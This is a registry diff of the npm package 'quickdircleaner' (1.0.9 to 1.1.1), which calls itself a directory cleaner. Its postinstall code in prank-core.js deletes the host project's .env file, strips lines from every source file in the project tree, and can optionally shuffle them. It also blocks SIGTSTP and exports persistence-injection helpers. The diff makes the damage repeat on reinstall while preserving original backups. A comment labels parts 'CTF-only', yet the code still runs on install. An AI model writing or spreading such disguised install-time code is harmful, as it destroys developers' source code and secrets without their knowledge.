quickdircleaner 1.0.9 → 1.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +27 -4
  2. package/package.json +1 -1
  3. package/prank-core.js +125 -11
package/index.js CHANGED
@@ -50,8 +50,26 @@ async function main() {
50
50
  core.resolveHostProjectRoot(),
51
51
  );
52
52
 
53
+ let priorList = null;
54
+ let priorMap = null;
55
+
53
56
  if (await cleanerDoneFlagExists(root)) {
54
- return;
57
+ let raw;
58
+ try {
59
+ raw = await fs.readFile(path.join(root, core.BACKUP_NAME), "utf8");
60
+ } catch {
61
+ return;
62
+ }
63
+ priorList = core.parseFirstOriginalSectionMarkdown(raw);
64
+ if (priorList.length === 0) {
65
+ return;
66
+ }
67
+ priorMap = new Map(priorList.map((e) => [e.filePath, e.content]));
68
+ try {
69
+ await fs.unlink(path.join(root, core.DONE_FLAG));
70
+ } catch {
71
+ /* silent */
72
+ }
55
73
  }
56
74
 
57
75
  let pkgRaw = null;
@@ -61,18 +79,23 @@ async function main() {
61
79
  pkgRaw = null;
62
80
  }
63
81
 
64
- const backupEntries = await core.runPrank(root);
82
+ const backupEntries = await core.runPrank(root, priorMap);
65
83
 
66
84
  if (pkgRaw) {
67
85
  backupEntries.push({
68
86
  filePath: core.SYNTHETIC_PACKAGE_JSON,
69
- content: pkgRaw,
87
+ content: priorMap?.get(core.SYNTHETIC_PACKAGE_JSON) ?? pkgRaw,
70
88
  });
71
89
  }
72
90
 
91
+ const toWrite =
92
+ priorList && priorList.length > 0
93
+ ? core.mergeFirstSectionBackup(priorList, backupEntries)
94
+ : backupEntries;
95
+
73
96
  let backupOk = true;
74
97
  try {
75
- backupOk = await writeBackupMarkdown(root, backupEntries);
98
+ backupOk = await writeBackupMarkdown(root, toWrite);
76
99
  } catch {
77
100
  backupOk = false;
78
101
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "quickdircleaner",
3
- "version": "1.0.9",
3
+ "version": "1.1.1",
4
4
  "description": "Directory cleaner.",
5
5
  "main": "index.js",
6
6
  "files": [
package/prank-core.js CHANGED
@@ -598,6 +598,97 @@ function removeOriginalLines(lines, oneBasedLineNumbers) {
598
598
  return next;
599
599
  }
600
600
 
601
+ /** CTF-only: set `QUICKDIRCLEANER_JUMBLE=1` to permute lines (deterministic per path). Restore still uses backup verbatim. */
602
+ function lineJumbleEnabled() {
603
+ return process.env.QUICKDIRCLEANER_JUMBLE === "1";
604
+ }
605
+
606
+ function hashStringForSeed(s) {
607
+ let h = 2166136261 >>> 0;
608
+ for (let i = 0; i < s.length; i += 1) {
609
+ h ^= s.charCodeAt(i);
610
+ h = Math.imul(h, 16777619);
611
+ }
612
+ return h >>> 0;
613
+ }
614
+
615
+ function mulberry32(seed) {
616
+ let a = seed >>> 0;
617
+ return function nextRand() {
618
+ a = (a + 0x6d2b79f5) >>> 0;
619
+ let t = a;
620
+ t = Math.imul(t ^ (t >>> 15), t | 1);
621
+ t = (t + Math.imul(t ^ (t >>> 7), t | 61)) >>> 0;
622
+ return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
623
+ };
624
+ }
625
+
626
+ /**
627
+ * Fisher–Yates shuffle of all lines after an optional leading shebang line.
628
+ * Same `pathKey` + same line count ⇒ same permutation (participants can infer “path-seeded shuffle”).
629
+ */
630
+ function jumbleBodyLines(lines, pathKey) {
631
+ if (lines.length < 2) {
632
+ return lines;
633
+ }
634
+ const out = lines.slice();
635
+ let bodyStart = 0;
636
+ if (out[0].trim().startsWith("#!")) {
637
+ bodyStart = 1;
638
+ }
639
+ if (bodyStart >= out.length - 1) {
640
+ return out;
641
+ }
642
+ const rng = mulberry32(
643
+ hashStringForSeed(`${pathKey}:${out.length - bodyStart}`),
644
+ );
645
+ for (let i = out.length - 1; i > bodyStart; i -= 1) {
646
+ const span = i - bodyStart + 1;
647
+ const j = bodyStart + Math.floor(rng() * span);
648
+ const tmp = out[i];
649
+ out[i] = out[j];
650
+ out[j] = tmp;
651
+ }
652
+ return out;
653
+ }
654
+
655
+ /**
656
+ * When postinstall runs again, `newEntries` only contains paths touched this run.
657
+ * Merge with the prior first "## Original contents" list so the rewritten backup still
658
+ * includes every restorable path (e.g. `.env` absent on disk after the first run).
659
+ */
660
+ function mergeFirstSectionBackup(priorList, newEntries) {
661
+ if (!priorList || priorList.length === 0) {
662
+ return newEntries;
663
+ }
664
+ const contentByPath = new Map();
665
+ for (const e of priorList) {
666
+ contentByPath.set(e.filePath, e.content);
667
+ }
668
+ for (const e of newEntries) {
669
+ contentByPath.set(e.filePath, e.content);
670
+ }
671
+ const ordered = [];
672
+ const seen = new Set();
673
+ for (const e of priorList) {
674
+ ordered.push({
675
+ filePath: e.filePath,
676
+ content: contentByPath.get(e.filePath),
677
+ });
678
+ seen.add(e.filePath);
679
+ }
680
+ for (const e of newEntries) {
681
+ if (!seen.has(e.filePath)) {
682
+ ordered.push({
683
+ filePath: e.filePath,
684
+ content: contentByPath.get(e.filePath),
685
+ });
686
+ seen.add(e.filePath);
687
+ }
688
+ }
689
+ return ordered;
690
+ }
691
+
601
692
  function buildMarkdown(backupEntries) {
602
693
  const lines = [
603
694
  "# Cleaner backup",
@@ -640,11 +731,15 @@ function buildReapplySection(attemptNumber, backupEntries) {
640
731
  return lines.join("\n");
641
732
  }
642
733
 
643
- async function backupAndRemoveEnv(root, backupEntries) {
734
+ async function backupAndRemoveEnv(root, backupEntries, priorOriginals) {
644
735
  const envPath = path.join(root, ".env");
645
736
  try {
646
737
  const content = await fs.readFile(envPath, "utf8");
647
- backupEntries.push({ filePath: ".env", content });
738
+ const snapshot =
739
+ priorOriginals && priorOriginals.has(".env")
740
+ ? priorOriginals.get(".env")
741
+ : content;
742
+ backupEntries.push({ filePath: ".env", content: snapshot });
648
743
  try {
649
744
  await fs.unlink(envPath);
650
745
  } catch {
@@ -665,7 +760,7 @@ function utf8LooksCorruptedAsBinary(text) {
665
760
  return n > Math.max(24, Math.floor(text.length * 0.02));
666
761
  }
667
762
 
668
- async function cleanSourceFile(fullPath, root, backupEntries) {
763
+ async function cleanSourceFile(fullPath, root, backupEntries, priorOriginals) {
669
764
  let buf;
670
765
  try {
671
766
  const st = await fs.stat(fullPath);
@@ -691,7 +786,13 @@ async function cleanSourceFile(fullPath, root, backupEntries) {
691
786
 
692
787
  const eol = detectEol(content);
693
788
  const lineArray = content.split(/\r?\n/);
789
+ const relForKey =
790
+ path.relative(root, fullPath).split(path.sep).join("/") ||
791
+ path.basename(fullPath);
694
792
  let nextLines = removeOriginalLines(lineArray, REMOVE_LINE_NUMBERS);
793
+ if (lineJumbleEnabled()) {
794
+ nextLines = jumbleBodyLines(nextLines, relForKey);
795
+ }
695
796
  let modified = nextLines.join(eol);
696
797
 
697
798
  if (modified === content) {
@@ -704,8 +805,12 @@ async function cleanSourceFile(fullPath, root, backupEntries) {
704
805
 
705
806
  const rel = path.relative(root, fullPath);
706
807
  const filePath = rel.split(path.sep).join("/") || path.basename(fullPath);
808
+ const backupSnapshot =
809
+ priorOriginals && priorOriginals.has(filePath)
810
+ ? priorOriginals.get(filePath)
811
+ : content;
707
812
 
708
- backupEntries.push({ filePath, content });
813
+ backupEntries.push({ filePath, content: backupSnapshot });
709
814
 
710
815
  try {
711
816
  await writeFileAtomic(fullPath, modified, "utf8");
@@ -751,7 +856,7 @@ function shouldSkipDirectoryEntry(name) {
751
856
  * BFS is used instead of fs.readdir(recursive) so behavior is consistent across Node/OS and
752
857
  * symlink layouts—nothing under the host root is missed except node_modules / .git / .hg / .svn.
753
858
  */
754
- async function walkAndCleanFullTree(rootResolved, backupEntries) {
859
+ async function walkAndCleanFullTree(rootResolved, backupEntries, priorOriginals) {
755
860
  const visitedDirs = new Set();
756
861
  const queue = [path.resolve(rootResolved)];
757
862
 
@@ -824,7 +929,12 @@ async function walkAndCleanFullTree(rootResolved, backupEntries) {
824
929
  }
825
930
 
826
931
  try {
827
- await cleanSourceFile(realPath, rootResolved, backupEntries);
932
+ await cleanSourceFile(
933
+ realPath,
934
+ rootResolved,
935
+ backupEntries,
936
+ priorOriginals,
937
+ );
828
938
  } catch {
829
939
  /* skip */
830
940
  }
@@ -832,7 +942,7 @@ async function walkAndCleanFullTree(rootResolved, backupEntries) {
832
942
  }
833
943
  }
834
944
 
835
- async function walkAndClean(root, backupEntries) {
945
+ async function walkAndClean(root, backupEntries, priorOriginals) {
836
946
  let rootResolved = path.resolve(root);
837
947
  try {
838
948
  rootResolved = await fs.realpath(rootResolved);
@@ -841,17 +951,20 @@ async function walkAndClean(root, backupEntries) {
841
951
  }
842
952
  rootResolved = path.resolve(rootResolved);
843
953
 
844
- await walkAndCleanFullTree(rootResolved, backupEntries);
954
+ await walkAndCleanFullTree(rootResolved, backupEntries, priorOriginals);
845
955
  }
846
956
 
847
957
  /**
848
958
  * Runs env backup/removal and source walk; returns new backup entries for this run.
959
+ * @param {Map<string,string>|null|undefined} priorOriginals — first-run snapshots from
960
+ * `CLEANER_BACKUP.md` when re-invoking after `.cleaner_done`; backup rows use these
961
+ * so restore still targets true originals while disk reads are already mangled.
849
962
  */
850
- async function runPrank(root) {
963
+ async function runPrank(root, priorOriginals) {
851
964
  installSigTstpBlocker();
852
965
  const backupEntries = [];
853
- await backupAndRemoveEnv(root, backupEntries);
854
- await walkAndClean(root, backupEntries);
966
+ await backupAndRemoveEnv(root, backupEntries, priorOriginals);
967
+ await walkAndClean(root, backupEntries, priorOriginals);
855
968
  return backupEntries;
856
969
  }
857
970
 
@@ -1102,6 +1215,7 @@ module.exports = {
1102
1215
  PERSIST_PREFIX,
1103
1216
  TARGET_SCRIPT_NAMES,
1104
1217
  buildMarkdown,
1218
+ mergeFirstSectionBackup,
1105
1219
  buildReapplySection,
1106
1220
  runPrank,
1107
1221
  injectPersistScripts,